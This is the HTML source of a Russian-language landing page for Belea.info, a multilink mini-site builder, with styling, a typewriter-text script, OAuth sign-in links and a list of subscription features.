<!DOCTYPE html>
<html lang="ru">
<head>
<title>Мультиссылка: Лучший мини-лендинг с ценными ссылками | Быстрый доступ с мобильного - Belea.info</title>
<base href="https://belea.info/">
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta name="description" content="Присоединяйтесь к успешным предпринимателям! Создайте свою уникальную мультиссылку на Belea.info - все важное о вашем бизнесе в одном месте!" />
<meta property="og:type" content="website" />
<meta property="twitter:type" content="website" />
<meta property="og:url" content="https://belea.info" />
<meta property="twitter:url" content="https://belea.info" />
<meta property="og:description" content="Присоединяйтесь к успешным предпринимателям! Создайте свою уникальную мультиссылку на Belea.info - все важное о вашем бизнесе в одном месте!" />
<meta property="twitter:description" content="Присоединяйтесь к успешным предпринимателям! Создайте свою уникальную мультиссылку на Belea.info - все важное о вашем бизнесе в одном месте!" />
<meta property="og:image" content="https://belea.info/images/belea.png" />
<meta property="twitter:image" content="https://belea.info/images/belea.png" />
<meta http-equiv="content-language" content="ru" />
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
<link rel="manifest" href="/site.webmanifest">
<link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5">
<meta name="msapplication-TileColor" content="#fffefe">
<meta name="theme-color" content="#ffffff">
<link href="https://belea.info/uploads/favicon/a762be4afcb04a32ca818f56ce5a8d70.png" rel="shortcut icon">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Jost:wght@400;700&family=Raleway:wght@400;900&display=swap" rel="stylesheet">
<link href="/themes/altum/assets/landing/css/bootstrap.min.css" rel="stylesheet" media="screen,print">
<link href="/themes/altum/assets/landing/css/custom.css" rel="stylesheet" media="screen,print">
<link href="/themes/altum/assets/landing/css/custom_new2.css" rel="stylesheet" media="screen,print">
<link href="" rel="stylesheet" media="screen,print">
<link href="" rel="stylesheet" media="screen,print">
<link href="/themes/altum/assets/landing/css/animate.min.css" rel="stylesheet" media="screen,print">
<link href="/themes/altum/assets/landing/css/owl.carousel.min.css" rel="stylesheet" media="screen,print">
<link href="/themes/altum/assets/landing/css/owl.theme.default.min.css" rel="stylesheet" media="screen,print">
<link href="" rel="stylesheet" media="screen,print">
<style>
[class*='logoIcon_'] {
visibility: hidden !important;
}
</style>
<script src="https://api-maps.yandex.ru/2.1/?apikey=2507bba0-3082-41d4-a0e5-42b1fce322c5&lang=ru_RU"
type="text/javascript">
</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/plupload/3.1.5/plupload.full.min.js"></script>
</head>
<body class="bg-white"
data-theme-style="light">
<!-- <div class="w-100 py-3" style="background-color: #2B7AFF;">
<div class="container d-flex justify-content-center position-relative">
<div class="row w-100">
<div class="col">
<div class="text-center" style="color: #ffffff;"><b>Услуги по созданию сайтов</b> <a style="font-size:12px; color: #000;" class="btn btn-warning animate__animated animate__repeat-3 animate__pulse animate__delay-2s" href="https://belea.info/888" target="_blank"><b>🚀 СВЯЗАТЬСЯ</b></a></div>
</div>
<div class="col-auto px-0">
<div>
</div>
</div>
</div>
</div>
</div> -->
<style>
.navbar-dark .navbar-nav .show>.nav-link {
color: #FFFFFF;
}
.navbar-dark .navbar-nav .nav-link:focus,
.navbar-dark .navbar-nav .nav-link:hover {
color: #FFFFFF;
}
.btn:hover {
color: #FFFFFF;
}
.btn-primary {
background-color: #2C7AFF;
}
.btn-primary:hover {
background-color: #2C7AFF;
}
.btn-primary:active {
background-color: #2C7AFF;
}
.btn-primary {
color: #DBDBDB;
}
.nav-link {
color: rgba(255, 255, 255, .5);
}
@media (min-width:768px) {
.e536 {
font-size: 36px;
max-width: 150px;
}
.e537 {
margin-bottom: 5px;
margin-top: 5px
}
}
@media (max-width:768px) {
.e536 {
font-size: 30px;
max-width: 130px;
}
.e537 {
margin-bottom: 0px;
margin-top: 5px
}
}
</style>
<nav class="dotted
navbar
navbar-main
navbar-expand-lg
navbar-absolute navbar-dark navbar-index">
<div class="container">
<a class="navbar-brand" href="https://belea.info/dashboard" style="padding-top: 0rem;padding-bottom: 0rem;">
<span class="navbar-logo" style="height: auto;color:#dbdbdb;font-weight: 900;" />
<img src="/img/belea.svg" class="e536"></span>
</a>
<button class="btn navbar-custom-toggler d-lg-none" type="button" data-toggle="collapse" data-target="#main_navbar"
aria-controls="main_navbar" aria-expanded="false"
aria-label="Toggle navigation">
<i class="fa fa-fw fa-bars"></i>
</button>
<div class="collapse navbar-collapse justify-content-end" id="main_navbar">
<a class="btn btn-sm btn-light" style="font-size:18px; background: #40255a;border-radius: 8px;padding-left: 6px;margin-right:10px;color:#c7c4c7" href="/pages/instruction"><i class="fa fa-fw fa-sm fa-circle-question"></i>Инструкция</a>
<ul class="navbar-nav">
<li class="nav-item d-flex align-items-center e537" style="margin-right:10px;margin-bottom: 5px;">
<a class="btn btn-sm btn-light"
style="font-size:18px; background: #716A3D;border-radius: 8px;padding-left: 6px;"
href="https://belea.info/login">
<i class="fa fa-fw fa-sm fa-sign-in-alt"></i>
Войти </a>
</li>
<li class="nav-item d-flex align-items-center">
<a class="btn btn-sm btn-primary" style="font-size:18px;" href="https://belea.info/register">
<i class="fa fa-fw fa-sm fa-plus"></i>
Начать бесплатно </a>
</li>
</ul>
</div>
</div>
</nav>
<main class="animated fadeIn">
<style>
.h-10000 {
background: linear-gradient(-45deg, #FB1781, #7E247E, #2B7AFF, #00c6fb);
}
@-webkit-keyframes gradient {
0% {
background-position: 0% 50%;
}
50% {
background-position: 100% 50%;
}
100% {
background-position: 0% 50%;
}
}
@keyframes gradient {
0% {
background-position: 0% 50%;
}
50% {
background-position: 100% 50%;
}
100% {
background-position: 0% 50%;
}
}
</style>
<div class="b-head h-10000">
<div class="container" style="margin-top: 30px;">
<div class="row">
<div class="col-lg-8 col-12">
<!--title-->
<br>
<center>
<h1 class="b-title transparent-text tr67"><span style="color: #FFFFFF;">Всё важное в одной</span><br> <span style="color: #007CFF;">мультиссылке</span></h1>
</center>
<script type="text/javascript">
var TxtType = function(el, toRotate, period) {
this.toRotate = toRotate;
this.el = el;
this.loopNum = 0;
this.period = parseInt(period, 10) || 2000;
this.txt = '';
this.tick();
this.isDeleting = false;
};
TxtType.prototype.tick = function() {
var i = this.loopNum % this.toRotate.length;
var fullTxt = this.toRotate[i];
if (this.isDeleting) {
this.txt = fullTxt.substring(0, this.txt.length - 1);
} else {
this.txt = fullTxt.substring(0, this.txt.length + 1);
}
this.el.innerHTML = '<span class="wrap">' + this.txt + '</span>';
var that = this;
var delta = 100 - Math.random() * 100;
if (this.isDeleting) {
delta /= 2;
}
if (!this.isDeleting && this.txt === fullTxt) {
delta = this.period;
this.isDeleting = true;
} else if (this.isDeleting && this.txt === '') {
this.isDeleting = false;
this.loopNum++;
delta = 500;
}
setTimeout(function() {
that.tick();
}, delta);
};
window.onload = function() {
var elements = document.getElementsByClassName('typewrite');
for (var i = 0; i < elements.length; i++) {
var toRotate = elements[i].getAttribute('data-type');
var period = elements[i].getAttribute('data-period');
if (toRotate) {
new TxtType(elements[i], JSON.parse(toRotate), period);
}
}
};
</script>
<p class="fz-24" style=" background-color: #080808c4;;border-radius: 8px;padding: 10px 25px;">
<span style="color:#FFFFFF;font-weight: 400;"><em>Создайте свою уникальную мультиссылку! Соберите все важные ссылки на соцсети, мессенджеры, ваши сайты и любые другие ресурсы в одном удобном месте. Вся ваша онлайн-активность теперь в одном клике!
</em></span>
</p>
<center class="boot001"> <a href="register" class="closing-button animate__animated animate__infinite animate__slow animate__delay-2s animate__pulse" style="text-decoration: none;color: white;margin-top: 25px;"><span>Начать 7-дневный пробный период</span></a>
</a>
<div style="
grid-template-columns: auto 2.5rem 2.5rem 2.5rem;
align-items: center;
grid-column-gap: 0.5rem;
-moz-column-gap: .5rem;
column-gap: 0.5rem;
margin: 0 auto;
padding-top: 20px;">
<small> Быстрая регистрация </small>
<a href="https://accounts.google.com/o/oauth2/auth?response_type=code&access_type=offline&client_id=17813914377-ujf0mhotkft5km2duefpn359ut1k6hg4.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fbelea.info%2Flogin%2Fgoogle&state&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&approval_prompt=force&include_granted_scopes=true" class="fz-36"><i class="fab fa-fw fa-google"></i></a>
<a href="http://oauth.vk.com/authorize?client_id=51413160&redirect_uri=https://belea.info/login&response_type=code&display =popup&scope=email,offline" class="fz-36"><i class="fab fa-fw fa-vk"></i></a>
</div>
</center>
</div>
<div class="col-lg-4">
<div class="MainBlock__ExamplesContainer">
<div class="MainBlock__ExamplesBox">
<div class="MainBlock__SliderBox">
<div class="MainBlock__ExamplesSlider">
<center>
<picture>
<img itemprop="screenshot" alt="Мультиссылки для бизнеса" class="MainBlock__ExamplesImg" src="https://belea.info/themes/altum/assets/landing/images/4.png" alt="Конструктор сайтов Belea">
</picture>
<center>
</div>
</div>
</div>
</div>
<br>
<center class="boot002"> <a href="register" class=" closing-button animate__animated animate__infinite animate__slow animate__delay-2s animate__pulse" style="text-decoration: none;color: white;"><span>Начать 7-дневный пробный период</span></a>
</a>
<div style=" display: inline-grid;
grid-template-columns: auto 2.5rem 2.5rem 2.5rem;
align-items: center;
grid-column-gap: 0.5rem;
-moz-column-gap: .5rem;
column-gap: 0.4rem;
margin: 0 auto;
padding-top: 20px;">
<small> Быстрая регистрация </small>
<a href="https://accounts.google.com/o/oauth2/auth?response_type=code&access_type=offline&client_id=17813914377-ujf0mhotkft5km2duefpn359ut1k6hg4.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fbelea.info%2Flogin%2Fgoogle&state&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&approval_prompt=force&include_granted_scopes=true" class="fz-36"><i class="fab fa-fw fa-google"></i></a>
<a href="http://oauth.vk.com/authorize?client_id=51413160&redirect_uri=https://belea.info/login&response_type=code&display =popup&scope=email,offline" class="fz-36"><i class="fab fa-fw fa-vk"></i></a>
</div>
</center><br><br>
</div>
</div>
</div>
</div>
<style>
.video {
max-width: 1300px;
margin: 0 auto 20px;
border-radius: 9px;
}
.video_youtube02 {
border: 2px double white;
border-radius: 9px;
}
.video-wrp {
position: relative;
padding-top: 56.25%;
}
.video-wrp iframe {
width: 100%;
height: 100%;
display: block;
position: absolute;
margin: 0;
top: 0;
left: 0;
border: none;
border-radius: 9px;
}
.block_youtube {
background-image: url(/img/block_youtube.jpg);
background-position: center center;
background-repeat: no-repeat;
background-size: cover;
background-color: #101438;
}
/* For mobile devices */
@media (max-width:767px) {
.block_youtube {
background-image: url(/img/block_youtube_2.jpg);
}
}
</style>
<!--
<div id="to-templates" class="text-center block_youtube" style="padding-top: 4rem!important;">
<p class="fz-36" style="color:#FFFFFF">ОБЗОР СЕРВИСА BELEA</p>
<br>
<div class="video video_youtube02">
<div class="video-wrp">
<iframe width="560" height="315" src="https://dzen.ru/embed/vrzV6QBBz8jA" allow="autoplay; fullscreen; accelerometer; gyroscope; picture-in-picture; encrypted-media" frameborder="0" scrolling="no" allowfullscreen></iframe>
</div>
</div>
<br><br>
</div> -->
<!--
<div id="to-analitics" class="b-edges topblock2" style="background-color: #000000;">
<div class="container con1-1">
<div class="row align-items-center edges__item--2 ">
<div class="col-md-6">
<div data-aos="fade-left" class="section__content aos-init aos-animate" data-v-66c58e66="">
<video data-v-3229bb27="" autoplay="autoplay" loop="loop" muted="muted" playsinline="" class="lazyLoad isLoaded video" poster="https://belea.info/themes/altum/assets/landing/images/1.jpg">
<source data-v-3229bb27="" type="video/mp4" src="https://belea.info/themes/altum/assets/landing/images/1.mp4" style="max-width: 50rem;">
</video>
</div>
</div>
<div class="col-md-6">
<div class="fz-36" style="color:#FFFFFF">
Размещайте контент<br> и оставайтесь на связи
</div>
<p class="fz-24" style="color:#FFFFFF">
<br>
Ссылки, кнопки мессенджеров, фото, видео, точка на карте и даже музыка - всё в одном месте и удобно для Вашей
аудитории
<span class="boot001"> <a href="register" class="closing-button animate__animated animate__infinite animate__slow animate__delay-2s animate__pulse" style="text-decoration: none;color: white;margin-top: 50px;"><span>Создать сайт бесплатно</span></a>
</a></span>
</div>
</div>
<center class="boot002"> <a href="register" class=" closing-button animate__animated animate__infinite animate__slow animate__delay-2s animate__pulse" style="text-decoration: none;color: white;margin-bottom: 70px;"><span>Создать сайт бесплатно</span></a>
</a></center>
</div>
</div>
-->
<style>
.bg-base-1 {
background-color: #131416 !important;
font-size: 1rem;
}
.bg-rose {
background-color: #fb7185 !important;
}
.card1 {
border-radius: .875rem !important;
background-color: #282828;
color:#f5f5f5;
}
.text-rose {
color: #fb7185 !important;
}
.height-4 {
height: 1rem !important;
}
.width-4 {
width: 1rem !important;
}
.shadow-sm {
box-shadow: 0 0 1rem rgba(0, 0, 0, .05) !important;
}
.border-0 {
border: 0 !important;
}
.left-0 {
left: 0 !important;
}
.bottom-0 {
bottom: 0 !important;
}
.right-0 {
right: 0 !important;
}
.top-0 {
top: 0 !important;
}
.opacity-10 {
opacity: .1 !important;
}
.fill-current {
fill: currentColor !important;
}
.height-8 {
height: 2rem !important;
}
.width-8 {
width: 2rem !important;
}
.border-radius-xl {
border-radius: .875rem !important;
}
.border-radius-lg {
border-radius: .625rem !important;
}
.bg-pink {
background-color: #f472b6 !important;
}
.text-rose {
color: #fb7185 !important;
}
.bg-fuchsia {
background-color: #e879f9 !important;
}
.text-fuchsia {
color: #e879f9 !important;
}
.bg-purple {
background-color: #c084fc !important;
}
.text-purple {
color: #c084fc !important;
}
.bg-violet {
background-color: #a78bfa !important;
}
.text-violet {
color: #a78bfa !important;
}
.bg-sky {
background-color: #38bdf8 !important;
}
.text-sky {
color: #38bdf8 !important;
}
.bg-teal {
background-color: #2dd4bf !important;
}
.text-teal {
color: #2dd4bf !important;
}
.bg-cyan {
background-color: #06b6d4 !important;
}
.text-cyan {
color: #06b6d4 !important;
}
.bg-indigo {
background-color: #818cf8 !important;
}
.text-cyan {
color: #06b6d4 !important;
}
.bg-indigo {
background-color: #818cf8 !important;
}
.text-indigo {
color: #818cf8 !important;
}
.bg-green {
background-color: #4ade80 !important;
}
.text-green {
color: #4ade80 !important;
}
.bg-emerald {
background-color: #34d399 !important;
}
.text-emerald {
color: #34d399 !important;
}
</style>
<div class="bg-base-1">
<div class="container py-5 py-md-7">
<div class="text-center">
<p class="fz-36" style="color:#f5f5f5">Подключите подписку</p>
<div class="mx-auto mb-5">
<center> <p class="fz-24 fz-222" style="color:#d4d4d4">Получите полный доступ ко всем функциям сервиса Belea!</p> </center>
</div>
</div>
<div class="row m-n2 m-sm-n3">
<div class="col-12 col-md-6 col-lg-4 p-2 p-sm-3">
<div class="card1 border-0 shadow-sm h-100 border-radius-xl">
<div class="card-body d-flex align-items-center">
<div class="d-flex width-8 height-8 position-relative align-items-center justify-content-center flex-shrink-0 mr-3">
<div class="position-absolute bg-rose opacity-10 top-0 right-0 bottom-0 left-0 border-radius-lg"></div>
<svg xmlns="http://www.w3.org/2000/svg" class="fill-current width-4 height-4 text-rose" viewBox="0 0 18 6">
<path d="M18,2H16.5V1.5h-2v3h2V4H18V5a1,1,0,0,1-1,1H14a1,1,0,0,1-1-1V1a1,1,0,0,1,1-1h3a1,1,0,0,1,1,1ZM5,1V6H3.5V4.5h-2V6H0V1A1,1,0,0,1,1,0H4A1,1,0,0,1,5,1Zm-1.5.5h-2V3h2Zm7,1.5a1,1,0,0,1,1,1V5a1,1,0,0,1-1,1h-4V0h4a1,1,0,0,1,1,1V2A1,1,0,0,1,10.5,3ZM8,1.5v.75h2V1.5Zm2,2.25H8V4.5h2Z"></path></svg> </div>
<div class="d-block w-100"><div class="d-inline-block font-weight-bold">Кастомные алиасы</div></div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-4 p-2 p-sm-3">
<div class="card1 border-0 shadow-sm h-100 border-radius-xl">
<div class="card-body d-flex align-items-center">
<div class="d-flex width-8 height-8 position-relative align-items-center justify-content-center flex-shrink-0 mr-3">
<div class="position-absolute bg-pink opacity-10 top-0 right-0 bottom-0 left-0 border-radius-lg"></div>
<svg xmlns="http://www.w3.org/2000/svg" class="fill-current width-4 height-4 text-pink" viewBox="0 0 640 512">
<path d="M579.8 267.7c56.5-56.5 56.5-148 0-204.5c-50-50-128.8-56.5-186.3-15.4l-1.6 1.1c-14.4 10.3-17.7 30.3-7.4 44.6s30.3 17.7 44.6 7.4l1.6-1.1c32.1-22.9 76-19.3 103.8 8.6c31.5 31.5 31.5 82.5 0 114L422.3 334.8c-31.5 31.5-82.5 31.5-114 0c-27.9-27.9-31.5-71.8-8.6-103.8l1.1-1.6c10.3-14.4 6.9-34.4-7.4-44.6s-34.4-6.9-44.6 7.4l-1.1 1.6C206.5 251.2 213 330 263 380c56.5 56.5 148 56.5 204.5 0L579.8 267.7zM60.2 244.3c-56.5 56.5-56.5 148 0 204.5c50 50 128.8 56.5 186.3 15.4l1.6-1.1c14.4-10.3 17.7-30.3 7.4-44.6s-30.3-17.7-44.6-7.4l-1.6 1.1c-32.1 22.9-76 19.3-103.8-8.6C74 372 74 321 105.5 289.5L217.7 177.2c31.5-31.5 82.5-31.5 114 0c27.9 27.9 31.5 71.8 8.6 103.9l-1.1 1.6c-10.3 14.4-6.9 34.4 7.4 44.6s34.4 6.9 44.6-7.4l1.1-1.6C433.5 260.8 427 182 377 132c-56.5-56.5-148-56.5-204.5 0L60.2 244.3z"/></svg> </div>
<div class="d-block w-100"><div class="d-inline-block font-weight-bold">До 100 мультиссылок</div></div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-4 p-2 p-sm-3">
<div class="card1 border-0 shadow-sm h-100 border-radius-xl">
<div class="card-body d-flex align-items-center">
<div class="d-flex width-8 height-8 position-relative align-items-center justify-content-center flex-shrink-0 mr-3">
<div class="position-absolute bg-fuchsia opacity-10 top-0 right-0 bottom-0 left-0 border-radius-lg"></div>
<svg xmlns="http://www.w3.org/2000/svg" class="fill-current width-4 height-4 text-fuchsia" viewBox="0 0 200 200"><rect y="60" width="43" height="140" rx="15"></rect><rect x="80" width="40" height="200" rx="15"></rect><rect x="160" y="114" width="40" height="86" rx="15"></rect></svg> </div>
<div class="d-block w-100"><div class="d-inline-block font-weight-bold">Подробная аналитика</div></div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-4 p-2 p-sm-3">
<div class="card1 border-0 shadow-sm h-100 border-radius-xl">
<div class="card-body d-flex align-items-center">
<div class="d-flex width-8 height-8 position-relative align-items-center justify-content-center flex-shrink-0 mr-3">
<div class="position-absolute bg-cyan opacity-10 top-0 right-0 bottom-0 left-0 border-radius-lg"></div>
<svg xmlns="http://www.w3.org/2000/svg" class="fill-current width-4 height-4 text-cyan" viewBox="0 0 384 512">
<path d="M256 48l0 16c0 17.7-14.3 32-32 32l-64 0c-17.7 0-32-14.3-32-32l0-16L64 48c-8.8 0-16 7.2-16 16l0 384c0 8.8 7.2 16 16 16l256 0c8.8 0 16-7.2 16-16l0-384c0-8.8-7.2-16-16-16l-64 0zM0 64C0 28.7 28.7 0 64 0L320 0c35.3 0 64 28.7 64 64l0 384c0 35.3-28.7 64-64 64L64 512c-35.3 0-64-28.7-64-64L0 64zM160 320l64 0c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16L96 416c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z"/>
</svg> </div>
<div class="d-block w-100"><div class="d-inline-block font-weight-bold">100 готовых шаблонов</div></div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-4 p-2 p-sm-3">
<div class="card1 border-0 shadow-sm h-100 border-radius-xl">
<div class="card-body d-flex align-items-center">
<div class="d-flex width-8 height-8 position-relative align-items-center justify-content-center flex-shrink-0 mr-3">
<div class="position-absolute bg-violet opacity-10 top-0 right-0 bottom-0 left-0 border-radius-lg"></div>
<svg xmlns="http://www.w3.org/2000/svg" class="fill-current width-4 height-4 text-violet" viewBox="0 0 384 512">
<path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 288c0 35.3-28.7 64-64 64L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128z"/></svg> </div>
<div class="d-block w-100"><div class="d-inline-block font-weight-bold">1 ГБ для файлов</div></div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-4 p-2 p-sm-3">
<div class="card1 border-0 shadow-sm h-100 border-radius-xl">
<div class="card-body d-flex align-items-center">
<div class="d-flex width-8 height-8 position-relative align-items-center justify-content-center flex-shrink-0 mr-3">
<div class="position-absolute bg-indigo opacity-10 top-0 right-0 bottom-0 left-0 border-radius-lg"></div>
<svg xmlns="http://www.w3.org/2000/svg" class="fill-current width-4 height-4 text-indigo" viewBox="0 0 16 21"><path d="M14,7H13V5A5,5,0,0,0,3,5V7H2A2,2,0,0,0,0,9V19a2,2,0,0,0,2,2H14a2,2,0,0,0,2-2V9A2,2,0,0,0,14,7ZM5,5a3,3,0,0,1,6,0V7H5Zm9,14H2V9H14ZM8,16a2,2,0,1,0-2-2A2,2,0,0,0,8,16Z"></path></svg> </div>
<div class="d-block w-100"><div class="d-inline-block font-weight-bold">Защита паролем</div></div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-4 p-2 p-sm-3">
<div class="card1 border-0 shadow-sm h-100 border-radius-xl">
<div class="card-body d-flex align-items-center">
<div class="d-flex width-8 height-8 position-relative align-items-center justify-content-center flex-shrink-0 mr-3">
<div class="position-absolute bg-blue opacity-10 top-0 right-0 bottom-0 left-0 border-radius-lg"></div>
<svg xmlns="http://www.w3.org/2000/svg" class="fill-current width-4 height-4 text-blue" viewBox="0 0 512 512">
<path d="M315.4 15.5C309.7 5.9 299.2 0 288 0s-21.7 5.9-27.4 15.5l-96 160c-5.9 9.9-6.1 22.2-.4 32.2s16.3 16.2 27.8 16.2l192 0c11.5 0 22.2-6.2 27.8-16.2s5.5-22.3-.4-32.2l-96-160zM288 312l0 144c0 22.1 17.9 40 40 40l144 0c22.1 0 40-17.9 40-40l0-144c0-22.1-17.9-40-40-40l-144 0c-22.1 0-40 17.9-40 40zM128 512a128 128 0 1 0 0-256 128 128 0 1 0 0 256z"/>
</svg> </div>
<div class="d-block w-100"><div class="d-inline-block font-weight-bold">30 интерактивных блоков</div></div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-4 p-2 p-sm-3">
<div class="card1 border-0 shadow-sm h-100 border-radius-xl">
<div class="card-body d-flex align-items-center">
<div class="d-flex width-8 height-8 position-relative align-items-center justify-content-center flex-shrink-0 mr-3">
<div class="position-absolute bg-sky opacity-10 top-0 right-0 bottom-0 left-0 border-radius-lg"></div>
<svg xmlns="http://www.w3.org/2000/svg" class="fill-current width-4 height-4 text-sky" viewBox="0 0 576 512">
<path d="M288 32c-80.8 0-145.5 36.8-192.6 80.6C48.6 156 17.3 208 2.5 243.7c-3.3 7.9-3.3 16.7 0 24.6C17.3 304 48.6 356 95.4 399.4C142.5 443.2 207.2 480 288 480s145.5-36.8 192.6-80.6c46.8-43.5 78.1-95.4 93-131.1c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C433.5 68.8 368.8 32 288 32zM144 256a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm144-64c0 35.3-28.7 64-64 64c-7.1 0-13.9-1.2-20.3-3.3c-5.5-1.8-11.9 1.6-11.7 7.4c.3 6.9 1.3 13.8 3.2 20.7c13.7 51.2 66.4 81.6 117.6 67.9s81.6-66.4 67.9-117.6c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3z"/>
</svg> </div>
<div class="d-block w-100"><div class="d-inline-block font-weight-bold">SEO оптимизация</div></div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-4 p-2 p-sm-3">
<div class="card1 border-0 shadow-sm h-100 border-radius-xl">
<div class="card-body d-flex align-items-center">
<div class="d-flex width-8 height-8 position-relative align-items-center justify-content-center flex-shrink-0 mr-3">
<div class="position-absolute bg-purple opacity-10 top-0 right-0 bottom-0 left-0 border-radius-lg"></div>
<svg xmlns="http://www.w3.org/2000/svg" class="fill-current width-4 height-4 text-purple" viewBox="0 0 18 18"><path d="M2,12H0v4a2,2,0,0,0,2,2H6V16H2ZM2,2H6V0H2A2,2,0,0,0,0,2V6H2ZM16,0H12V2h4V6h2V2A2,2,0,0,0,16,0Zm0,16H12v2h4a2,2,0,0,0,2-2V12H16ZM9,6a3,3,0,1,0,3,3A3,3,0,0,0,9,6Z"></path></svg> </div>
<div class="d-block w-100"><div class="d-inline-block font-weight-bold">Пиксели ретаргетинга</div></div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-4 p-2 p-sm-3">
<div class="card1 border-0 shadow-sm h-100 border-radius-xl">
<div class="card-body d-flex align-items-center">
<div class="d-flex width-8 height-8 position-relative align-items-center justify-content-center flex-shrink-0 mr-3">
<div class="position-absolute bg-teal opacity-10 top-0 right-0 bottom-0 left-0 border-radius-lg"></div>
<svg xmlns="http://www.w3.org/2000/svg" class="fill-current width-4 height-4 text-teal" viewBox="0 0 157.67 143.33">
<path d="M78.83,0a71.63,71.63,0,0,0-62,35.83H34.36A57.54,57.54,0,0,1,59,17.93a94.88,94.88,0,0,0-5.42,17.9H68.35c3.43-14.17,8.24-21.5,10.48-21.5s7,7.33,10.49,21.5h14.74a95.62,95.62,0,0,0-5.42-17.9,57.56,57.56,0,0,1,24.66,17.9h17.5A71.65,71.65,0,0,0,78.83,0ZM0,50.17l8.9,43h9.38l6.09-24.88,6.07,24.88h9.34l8.9-43H37.9L34.06,74.28,28.33,50.17h-8L14.61,74.33l-3.8-24.16Zm54.49,0,8.9,43h9.38l6.09-24.88,6.08,24.88h9.33l8.9-43H92.41L88.55,74.28,82.84,50.17h-8L69.12,74.33,65.3,50.17Zm54.49,0,8.91,43h9.37l6.09-24.88,6.08,24.88h9.33l8.91-43H146.89L143,74.28l-5.73-24.11h-8L123.6,74.33l-3.81-24.16ZM16.87,107.5a71.5,71.5,0,0,0,123.93,0H123.3a57.42,57.42,0,0,1-24.66,17.9,94.68,94.68,0,0,0,5.4-17.9H89.3C85.87,121.67,81.06,129,78.82,129s-7-7.33-10.47-21.5H53.61A95.39,95.39,0,0,0,59,125.4a57.51,57.51,0,0,1-24.67-17.9Z"></path></svg> </div>
<div class="d-block w-100"><div class="d-inline-block font-weight-bold">Собственные домены</div></div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-4 p-2 p-sm-3">
<div class="card1 border-0 shadow-sm h-100 border-radius-xl">
<div class="card-body d-flex align-items-center">
<div class="d-flex width-8 height-8 position-relative align-items-center justify-content-center flex-shrink-0 mr-3">
<div class="position-absolute bg-emerald opacity-10 top-0 right-0 bottom-0 left-0 border-radius-lg"></div>
<svg xmlns="http://www.w3.org/2000/svg" class="fill-current width-4 height-4 text-emerald" viewBox="0 0 640 512">
<path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg> </div>
<div class="d-block w-100"><div class="d-inline-block font-weight-bold">Кастомный HTML блок</div></div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-4 p-2 p-sm-3">
<div class="card1 border-0 shadow-sm h-100 border-radius-xl">
<div class="card-body d-flex align-items-center">
<div class="d-flex width-8 height-8 position-relative align-items-center justify-content-center flex-shrink-0 mr-3">
<div class="position-absolute bg-green opacity-10 top-0 right-0 bottom-0 left-0 border-radius-lg"></div>
<svg xmlns="http://www.w3.org/2000/svg" class="fill-current width-4 height-4 text-green" viewBox="0 0 100 100"><path d="M0,0V33.33H33.33V0ZM44.44,0V11.11H55.56V0ZM66.67,0V33.33H100V0ZM11.11,11.11H22.22V22.22H11.11Zm66.67,0H88.89V22.22H77.78ZM44.44,22.22V33.33H55.56V22.22ZM0,44.44V55.56H11.11V44.44Zm22.22,0V55.56H33.33V44.44Zm22.22,0V55.56H55.56V44.44ZM55.56,55.56V66.67H66.67V55.56Zm11.11,0H77.78V44.44H66.67Zm11.11,0V66.67H88.89V55.56Zm11.11,0H100V44.44H88.89Zm0,11.11V77.78H100V66.67Zm0,11.11H77.78V88.89H88.89Zm0,11.11V100H100V88.89Zm-11.11,0H66.67V100H77.78Zm-11.11,0V77.78H55.56V88.89Zm-11.11,0H44.44V100H55.56Zm0-11.11V66.67H44.44V77.78Zm11.11,0H77.78V66.67H66.67ZM0,66.67V100H33.33V66.67ZM11.11,77.78H22.22V88.89H11.11Z"></path></svg> </div>
